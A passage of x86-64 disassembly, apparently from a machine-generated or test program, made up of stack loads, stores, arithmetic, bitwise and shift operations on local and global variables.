mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6650]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5108]
mov rcx, qword [rsp + 0x52c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6660]
mov dword [rcx], eax
lea rax, [0x140113008]
mov qword [rsp + 0x6a40], rax
mov rax, qword [rsp + 0x6840]
mov rax, qword [rax]
cqo
mov rcx, qword [rsp + 0x68f0]
idiv qword [rcx]
mov qword [rsp + 0x5310], rax
movsx eax, byte [rsp + 0x94]
movsx ecx, byte [rsp + 0x55]
or eax, ecx
mov rcx, qword [0x140114398]
mov byte [rcx], al
lea rax, [0x140113054]
mov qword [rsp + 0x6a48], rax
mov rax, qword [rsp + 0x5dd0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb64]
xor eax, ecx
mov rcx, qword [rsp + 0x54b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5f60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x56a0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5458]
mov byte [rcx], al
lea rax, [rsp + 0x8ac]
mov qword [rsp + 0x6a50], rax
mov rax, qword [rsp + 0x4da0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ea8]
mov qword [rsp + 0x6a58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6a58]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x59e8], rax
mov rax, qword [rsp + 0x58c8]
mov eax, dword [rax]
mov dword [rsp + 0x2e74], eax
mov rax, qword [0x140113008]
mov rcx, qword [rsp + 0x6700]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x60b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5820]
mov rcx, qword [rsp + 0x5640]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2d78], eax
mov rax, qword [rsp + 0x6430]
movsx eax, byte [rax]
mov rcx, qword [0x140114398]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x140113023], al
movzx eax, word [rsp + 0x9cc]
mov word [rsp + 0xbd8], ax
movzx eax, word [rsp + 0xad0]
mov rcx, qword [rsp + 0x6838]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6850]
mov word [rcx], ax
mov rax, qword [rsp + 0x6798]
movzx eax, byte [rax]
mov byte [rsp + 0x10e], al
mov rax, qword [rsp + 0x5c60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6170]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xb5], al
mov rax, qword [rsp + 0x5c10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x58c0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x59a8]
mov qword [rcx], rax
lea rax, [rsp + 0x2c38]
mov qword [rsp + 0x6a60], rax
mov rax, qword [rsp + 0x5bc0]
mov rcx, qword [0x140113008]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5d58]
mov qword [rcx], rax
lea rax, [rsp + 0x2ba4]
mov qword [rsp + 0x6a68], rax
movsx eax, word [rsp + 0xb20]
mov rcx, qword [rsp + 0x5208]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401130c0], ax
movzx eax, word [rsp + 0x9d0]
mov rcx, qword [rsp + 0x5560]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8b0], ax
mov rax, qword [rsp + 0x6688]
movzx eax, byte [rax]
mov byte [rsp + 0x10f], al
movsx eax, word [rsp + 0x960]
mov rcx, qword [rsp + 0x4b70]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb9c], ax
mov rax, qword [rsp + 0x5398]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8c]
sub eax, ecx
mov byte [rsp + 0x4f], al
lea rax, [rsp + 0x2bd4]
mov qword [rsp + 0x6a70], rax
mov rax, qword [rsp + 0x6200]
mov rcx, qword [rsp + 0x57d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4bd0]
mov qword [rcx], rax
lea rax, [rsp + 0x2c64]
mov qword [rsp + 0x6a78], rax
mov rax, qword [rsp + 0x4c58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x50c0]
mov qword [rsp + 0x6a80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6a80]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x6220]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x9b]
movzx ecx, byte [0x140113003]
shl eax, cl
mov byte [0x1401141ba], al
movzx eax, word [rsp + 0xa7c]
movzx ecx, word [rsp + 0x938]
or eax, ecx
mov rcx, qword [rsp + 0x63d8]
mov word [rcx], ax
movzx eax, word [rsp + 0x8d0]
mov word [rsp + 0xbdc], ax
mov rax, qword [rsp + 0x4cd8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf5]
and eax, ecx
mov byte [rsp + 0xc9], al
movzx eax, byte [rsp + 0xbc]
mov byte [rsp + 0x110], al
mov rax, qword [rsp + 0x68e0]
mov ecx, dword [rsp + 0x2d1c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b84], eax
mov rax, qword [rsp + 0x59a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5bd8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f70], rax
mov rax, qword [rsp + 0x6100]
mov eax, dword [rax]
mov dword [rsp + 0x2e78], eax
mov rax, qword [rsp + 0x6730]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x60d8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5400]
mov qword [rcx], rax
mov rax, qword [0x1401142b8]
movzx eax, word [rax]
mov word [rsp + 0xbe0], ax
lea rax, [rsp + 0xf8]
mov qword [0x140114568], rax
movsx eax, word [rsp + 0x95c]
movsx ecx, word [rsp + 0xaac]
add eax, ecx
mov word [rsp + 0x960], ax
mov rax, qword [rsp + 0x6798]
movzx eax, byte [rax]
movzx ecx, byte [0x140113032]
add eax, ecx
mov rcx, qword [rsp + 0x5308]
mov byte [rcx], al
lea rax, [rsp + 0xa4]
mov qword [rsp + 0x6a88], rax
mov rax, qword [rsp + 0x5e68]
mov rcx, qword [rsp + 0x6490]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5858], rax
lea rax, [rsp + 0x2dfc]
mov qword [rsp + 0x6a90], rax
mov rax, qword [rsp + 0x55a0]
mov rcx, qword [rsp + 0x67b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2cbc], eax
lea rax, [rsp + 0x6788]
mov qword [rsp + 0x6a98], rax
mov rax, qword [rsp + 0x4e58]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x978]
add eax, ecx
mov word [rsp + 0x850], ax
mov rax, qword [0x140114228]
movzx eax, word [rax]
mov word [0x140114570], ax
mov rax, qword [rsp + 0x6518]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x52a0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x58f8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x109]
mov byte [rsp + 0x111], al
mov rax, qword [0x140114500]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5470]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xfb], al
mov rax, qword [rsp + 0x61a0]
mov qword [rsp + 0x6aa0], rax
mov rax, qword [rsp + 0x65f8]
mov ecx, dword [rsp + 0x2be8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2c10], eax
mov rax, qword [rsp + 0x4f90]
mov rcx, qword [rsp + 0x5548]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x6440], rax
lea rax, [rsp + 0x2d64]
mov qword [rsp + 0x6aa8], rax
mov rax, qword [rsp + 0x5c00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6880]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x998], ax
mov rax, qword [rsp + 0x5e08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5100]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401144e0]
mov word [rcx], ax
lea rax, [rsp + 0x54]
mov qword [rsp + 0x6ab0], rax
mov rax, qword [rsp + 0x5868]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe1]
add eax, ecx
mov byte [rsp + 0x96], al
mov rax, qword [0x140114300]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x67d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xaf0], ax
mov rax, qword [rsp + 0x4fb8]
mov eax, dword [rax]
mov dword [rsp + 0x2e7c], eax
mov rax, qword [rsp + 0x5b98]
mov rcx, qword [0x140113008]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5270]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6180]
mov eax, dword [rax]
mov dword [rsp + 0x2e80], eax
mov rax, qword [rsp + 0x56e8]
mov rcx, qword [rsp + 0x5730]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5c68], rax
mov rax, qword [rsp + 0x5a28]
movzx eax, word [rax]
mov word [rsp + 0xbe4], ax
movsx eax, word [0x140113018]
mov rcx, qword [rsp + 0x68f8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401144f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6508]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8d8]
sub eax, ecx
mov word [rsp + 0x8a4], ax
movsx eax, byte [rsp + 0xa1]
mov rcx, qword [0x140114178]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3b], al
movzx eax, byte [rsp + 0x5b]
mov byte [rsp + 0x112], al
mov rax, qword [rsp + 0x59b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfb]
add eax, ecx
mov byte [rsp + 0xed], al
mov eax, dword [rsp + 0x2b14]
mov dword [rsp + 0x2e84], eax
mov rax, qword [rsp + 0x5e68]
movzx ecx, al
mov rax, qword [0x140114160]
sar rax, cl
mov rcx, qword [rsp + 0x5e50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x55d8]
mov rcx, qword [rsp + 0x65d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x5b60]
mov dword [rcx], eax
lea rax, [0x140113008]
mov qword [rsp + 0x6ab8], rax
movsx eax, word [rsp + 0xb38]
mov rcx, qword [rsp + 0x5338]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401130c4], ax
mov rax, qword [rsp + 0x6358]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa7c]
shl eax, cl
mov word [rsp + 0xa4c], ax
movzx eax, byte [rsp + 0xf2]
mov byte [rsp + 0x113], al
mov rax, qword [rsp + 0x5d48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc8]
and eax, ecx
mov byte [rsp + 0x76], al
mov rax, qword [rsp + 0x4c98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xaf4]
sub eax, ecx
mov word [rsp + 0x850], ax
lea rax, [rsp + 0x51d8]
mov qword [rsp + 0x6ac0], rax
mov rax, qword [rsp + 0x6040]
mov rcx, qword [rsp + 0x60a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6490], rax
lea rax, [rsp + 0x2c38]
mov qword [rsp + 0x6ac8], rax
mov rax, qword [rsp + 0x55f0]
mov rcx, qword [rsp + 0x5108]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4ee8]
mov dword [rcx], eax
lea rax, [rsp + 0xe0]
mov qword [0x140114578], rax
movzx eax, word [rsp + 0x9c8]
movzx ecx, word [rsp + 0xb98]
add eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov word [rcx], ax
movzx eax, byte [rsp + 0x51]
mov byte [rsp + 0x114], al
mov rax, qword [0x140114518]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6990]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x51c0]
mov word [rcx], ax
lea rax, [rsp + 0x998]
mov qword [rsp + 0x6ad0], rax
mov rax, qword [rsp + 0x5d38]
mov rcx, qword [rsp + 0x6348]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5480]
mov qword [rcx], rax
lea rax, [rsp + 0x60f8]
mov qword [rsp + 0x6ad8], rax
mov rax, qword [rsp + 0x67a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b08]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x52b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5cc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2cd4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x58c8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x44]
movzx ecx, byte [rsp + 0xd0]
add eax, ecx
mov byte [0x140113033], al
lea rax, [rsp + 0xb5c]
mov qword [rsp + 0x6ae0], rax
movsx eax, word [rsp + 0x8ec]
mov rcx, qword [0x1401141b0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x9c4], ax
mov rax, qword [rsp + 0x6760]
movzx eax, byte [rax]
mov byte [rsp + 0x115], al
movzx eax, byte [rsp + 0x5f]
mov rcx, qword [rsp + 0x5e88]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5d30]
mov byte [rcx], al
mov eax, dword [rsp + 0x2e24]
mov rcx, qword [rsp + 0x5248]
mov qword [rsp + 0x6ae8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6ae8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x5a48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5b90]
mov eax, dword [rax]
mov dword [rsp + 0x2e88], eax
mov rax, qword [rsp + 0x4eb0]
mov rcx, qword [rsp + 0x4ff0]
mov qword [rsp + 0x6af0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6af0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x5cf8], rax
lea rax, [rsp + 0x5708]
mov qword [rsp + 0x6af8], rax
mov rax, qword [rsp + 0x5240]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140113062], al
mov rax, qword [rsp + 0x6970]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8e]
add eax, ecx
mov byte [rsp + 0xd8], al
movsx eax, word [0x1401130c4]
movsx ecx, word [rsp + 0xa30]
sub eax, ecx
mov rcx, qword [rsp + 0x5ee8]
mov word [rcx], ax
movzx eax, word [rsp + 0xa7c]
mov word [rsp + 0xbe8], ax
mov rax, qword [rsp + 0x55e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x58e0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb78], ax
mov rax, qword [rsp + 0x5eb8]
mov rax, qword [rax]
mov qword [rsp + 0x6b00], rax
mov rax, qword [rsp + 0x5840]
mov rcx, qword [rsp + 0x69c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2ddc], eax
mov eax, dword [rsp + 0x2b54]
mov dword [rsp + 0x2e8c], eax
mov rax, qword [rsp + 0x5930]
mov rcx, qword [0x140114160]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x54f8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x4c]
mov rcx, qword [rsp + 0x54f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401141bf], al
movsx eax, byte [rsp + 0xcc]
mov rcx, qword [rsp + 0x54d8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xea], al
movzx eax, byte [rsp + 0x57]
mov byte [rsp + 0x116], al
movzx eax, word [rsp + 0x85c]
mov rcx, qword [rsp + 0x6058]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb8c], ax
lea rax, [rsp + 0x854]
mov qword [rsp + 0x6b08], rax
mov rax, qword [rsp + 0x54d0]
mov rcx, qword [rsp + 0x5270]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x5718]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5a98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d84]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5348]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5a08]
mov qword [rsp + 0x6b10], rax
mov eax, dword [rsp + 0x2bbc]
movzx ecx, al
mov eax, dword [0x140114150]
sar eax, cl
mov dword [rsp + 0x2dc8], eax
movzx eax, byte [rsp + 0x92]
mov byte [0x140114224], al
lea rax, [rsp + 0x40]
mov qword [rsp + 0x6b18], rax
mov rax, qword [rsp + 0x68a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa94]
shl eax, cl
mov rcx, qword [rsp + 0x63f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xf4]
mov rcx, qword [rsp + 0x4f30]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6d], al
lea rax, [rsp + 0x8b4]
mov qword [rsp + 0x6b20], rax
mov rax, qword [rsp + 0x5da0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a5c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b9c], eax
mov eax, dword [rsp + 0x2b40]
mov dword [rsp + 0x2e90], eax
mov rax, qword [rsp + 0x4f70]
imul rax, qword [rsp + 0x67e8]
mov rcx, qword [rsp + 0x5fa0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5748]
mov rcx, qword [0x140113008]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5670], rax
mov rax, qword [rsp + 0x66e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5e30]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x140114298]
mov byte [rcx], al
mov rax, qword [rsp + 0x5a00]
movzx eax, word [rax]
mov word [rsp + 0xbec], ax
mov rax, qword [0x140114338]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5508]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6a08]
mov word [rcx], ax
movzx eax, word [rsp + 0x874]
mov word [rsp + 0xbf0], ax
mov rax, qword [rsp + 0x5980]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x111]
add eax, ecx
mov rcx, qword [rsp + 0x6598]
mov byte [rcx], al
lea rax, [rsp + 0x5ac0]
mov qword [rsp + 0x6b28], rax
mov rax, qword [rsp + 0x5a48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d84]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c9c], eax
mov rax, qword [rsp + 0x5588]
mov rcx, qword [0x140114160]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5910], rax
mov eax, dword [rsp + 0x2c60]
mov dword [rsp + 0x2e94], eax
mov rax, qword [rsp + 0x5660]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x90]
sub eax, ecx
mov rcx, qword [rsp + 0x5d10]
mov byte [rcx], al
movsx eax, word [rsp + 0xbcc]
movsx ecx, word [rsp + 0xac8]
and eax, ecx
mov word [0x1401130c8], ax
movzx eax, word [rsp + 0x9b4]
mov word [rsp + 0xbf4], ax
mov rax, qword [rsp + 0x66b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x38]
or eax, ecx
mov byte [rsp + 0x113], al
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [0x140114378]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x72], al
mov rax, qword [rsp + 0x5cf0]
mov qword [rsp + 0x6b30], rax
mov rax, qword [rsp + 0x6938]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6420]
shl rax, cl
mov qword [rsp + 0x5fb8], rax
mov rax, qword [rsp + 0x5c40]
mov eax, dword [rax]
mov dword [rsp + 0x2e98], eax
mov rax, qword [rsp + 0x6868]
mov rcx, qword [rsp + 0x6068]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x6940]
mov dword [rcx], eax
movzx eax, word [rsp + 0x934]
mov rcx, qword [rsp + 0x6120]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb8c], ax
movsx eax, byte [rsp + 0xc3]
movsx ecx, byte [0x140113056]
add eax, ecx
mov byte [0x140114217], al
lea rax, [rsp + 0x994]
mov qword [rsp + 0x6b38], rax
movsx eax, byte [rsp + 0x6e]
movsx ecx, byte [rsp + 0x65]
and eax, ecx
mov byte [rsp + 0xf0], al
lea rax, [rsp + 0x105]
mov qword [rsp + 0x6b40], rax
mov rax, qword [rsp + 0x6600]
mov rcx, qword [rsp + 0x5570]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2c6c], eax
mov rax, qword [rsp + 0x5008]
mov rcx, qword [rsp + 0x5178]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5818]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5e60]
mov eax, dword [rax]
mov dword [rsp + 0x2e9c], eax
mov rax, qword [rsp + 0x54f8]
mov rcx, qword [rsp + 0x5760]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4fa0], rax
lea rax, [rsp + 0xa28]
mov qword [rsp + 0x6b48], rax
mov rax, qword [rsp + 0x5dd8]
movsx eax, word [rax]
mov rcx, qword [0x140114428]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401130cc], ax
movzx eax, word [rsp + 0x9c0]
mov rcx, qword [rsp + 0x6880]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov word [rcx], ax
movzx eax, byte [rsp + 0x32]
mov byte [rsp + 0x117], al
movzx eax, byte [rsp + 0x58]
mov rcx, qword [rsp + 0x6628]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xab], al
mov eax, dword [rsp + 0x2e68]
mov ecx, dword [rsp + 0x2d78]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ce8], eax
mov rax, qword [rsp + 0x5b40]
mov qword [rsp + 0x6b50], rax
mov eax, dword [rsp + 0x2e04]
mov ecx, dword [rsp + 0x2b70]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5618]
mov dword [rcx], eax
lea rax, [rsp + 0x57c0]
mov qword [rsp + 0x6b58], rax
movsx eax, byte [rsp + 0xaf]
movsx ecx, byte [rsp + 0xf8]
shl eax, cl
mov byte [rsp + 0x32], al
movzx eax, word [rsp + 0x94c]
movzx ecx, word [rsp + 0x9d8]
sar eax, cl
mov word [str.n_a54], ax
movsx eax, word [rsp + 0x860]
mov rcx, qword [rsp + 0x5338]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xa1c], ax
lea rax, [rsp + 0x5f]
mov qword [rsp + 0x6b60], rax
mov rax, qword [rsp + 0x6b20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x68d0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x8e8], ax
lea rax, [rsp + 0x3d]
mov qword [rsp + 0x6b68], rax
mov rax, qword [rsp + 0x60c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ed8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x59d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6968]
mov ecx, dword [rsp + 0x2d1c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5790]
mov dword [rcx], eax
mov eax, dword [rsp + 0x29f0]
mov dword [rsp + 0x2ea0], eax
mov rax, qword [rsp + 0x5448]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4fb0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6500]
mov qword [rcx], rax
movzx eax, word [rsp + 0xaa0]
mov word [0x140114580], ax
lea rax, [rsp + 0x990]
mov qword [rsp + 0x6b70], rax
movzx eax, byte [rsp + 0x86]
movzx ecx, byte [rsp + 0x108]
and eax, ecx
mov byte [rsp + 0xd3], al
movzx eax, byte [0x140113033]
mov byte [rsp + 0x118], al
movzx eax, word [rsp + 0xa98]
movzx ecx, word [rsp + 0xa4c]
sub eax, ecx
mov rcx, qword [rsp + 0x6120]
mov word [rcx], ax
mov rax, qword [rsp + 0x5e78]
mov ecx, dword [rsp + 0x2ba8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5958]
mov dword [rcx], eax
lea rax, [0x140114160]
mov qword [rsp + 0x6b78], rax
mov rax, qword [rsp + 0x6278]
mov ecx, dword [rsp + 0x2da8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2cd8], eax
mov rax, qword [rsp + 0x6980]
mov qword [rsp + 0x6b80], rax
movsx eax, byte [rsp + 0x98]
mov rcx, qword [rsp + 0x6060]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14011303a], al
mov rax, qword [rsp + 0x5360]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8f]
sub eax, ecx
mov byte [rsp + 0xef], al
mov rax, qword [rsp + 0x6658]
movsx eax, word [rax]
mov rcx, qword [0x140114510]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xb3c], ax
mov rax, qword [rsp + 0x5578]
movzx eax, byte [rax]
mov byte [rsp + 0x119], al
mov rax, qword [rsp + 0x68a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8d0]
shl eax, cl
mov word [rsp + 0xb04], ax
lea rax, [rsp + 0x2be0]
mov qword [rsp + 0x6b88], rax
mov rax, qword [rsp + 0x6848]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5ba0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6b58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5930]
mov rax, qword [rax]
cqo
idiv qword [rsp + 0x63e0]
mov qword [rsp + 0x5808], rax
mov rax, qword [rsp + 0x6498]
mov eax, dword [rax]
mov dword [rsp + 0x2ea4], eax
movsx eax, byte [0x140113043]
movsx ecx, byte [rsp + 0xc3]
or eax, ecx
mov byte [0x140113063], al
mov rax, qword [rsp + 0x65c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa4c]
and eax, ecx
mov rcx, qword [rsp + 0x5a28]
mov word [rcx], ax
movzx eax, word [rsp + 0xb94]
mov word [rsp + 0xbf8], ax
mov rax, qword [0x140114500]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xd2]
add eax, ecx
mov rcx, qword [rsp + 0x69f8]
mov byte [rcx], al
movzx eax, word [rsp + 0x954]
movzx ecx, word [rsp + 0xa14]
sub eax, ecx
mov rcx, qword [rsp + 0x6a00]
mov word [rcx], ax
lea rax, [rsp + 0x4cb8]
mov qword [rsp + 0x6b90], rax
mov rax, qword [rsp + 0x5840]
mov ecx, dword [rsp + 0x2b80]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2b84], eax
mov eax, dword [rsp + 0x2da8]
mov dword [rsp + 0x2ea8], eax
mov rax, qword [rsp + 0x4f38]
mov rcx, qword [rsp + 0x6480]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x62c8], rax
mov rax, qword [rsp + 0x5f18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x54f0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140113006], al
movzx eax, byte [rsp + 0xc1]
mov byte [rsp + 0x11a], al
mov rax, qword [rsp + 0x68b8]
movsx eax, word [rax]
movsx ecx, word [0x140113068]
sub eax, ecx
mov word [rsp + 0xb14], ax
mov rax, qword [rsp + 0x5a00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6058]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6708]
mov word [rcx], ax
mov rax, qword [rsp + 0x5c98]
movzx eax, word [rax]
mov word [rsp + 0xbfc], ax
mov rax, qword [rsp + 0x6008]
mov ecx, dword [0x140114150]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5b68]
mov dword [rcx], eax
lea rax, [rsp + 0x2ddc]
mov qword [rsp + 0x6b98], rax
mov rax, qword [rsp + 0x6590]
mov rcx, qword [rsp + 0x6b50]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5098]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6b58]
mov rcx, qword [rsp + 0x4db8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x6b28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5fe8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x10c]
or eax, ecx
mov rcx, qword [0x1401141f8]
mov byte [rcx], al
lea rax, [rsp + 0x8d8]
mov qword [rsp + 0x6ba0], rax
mov rax, qword [rsp + 0x4f08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6808]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x46], al
movzx eax, word [rsp + 0x9e8]
mov word [rsp + 0xc00], ax
mov rax, qword [rsp + 0x57a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x86]
sar eax, cl
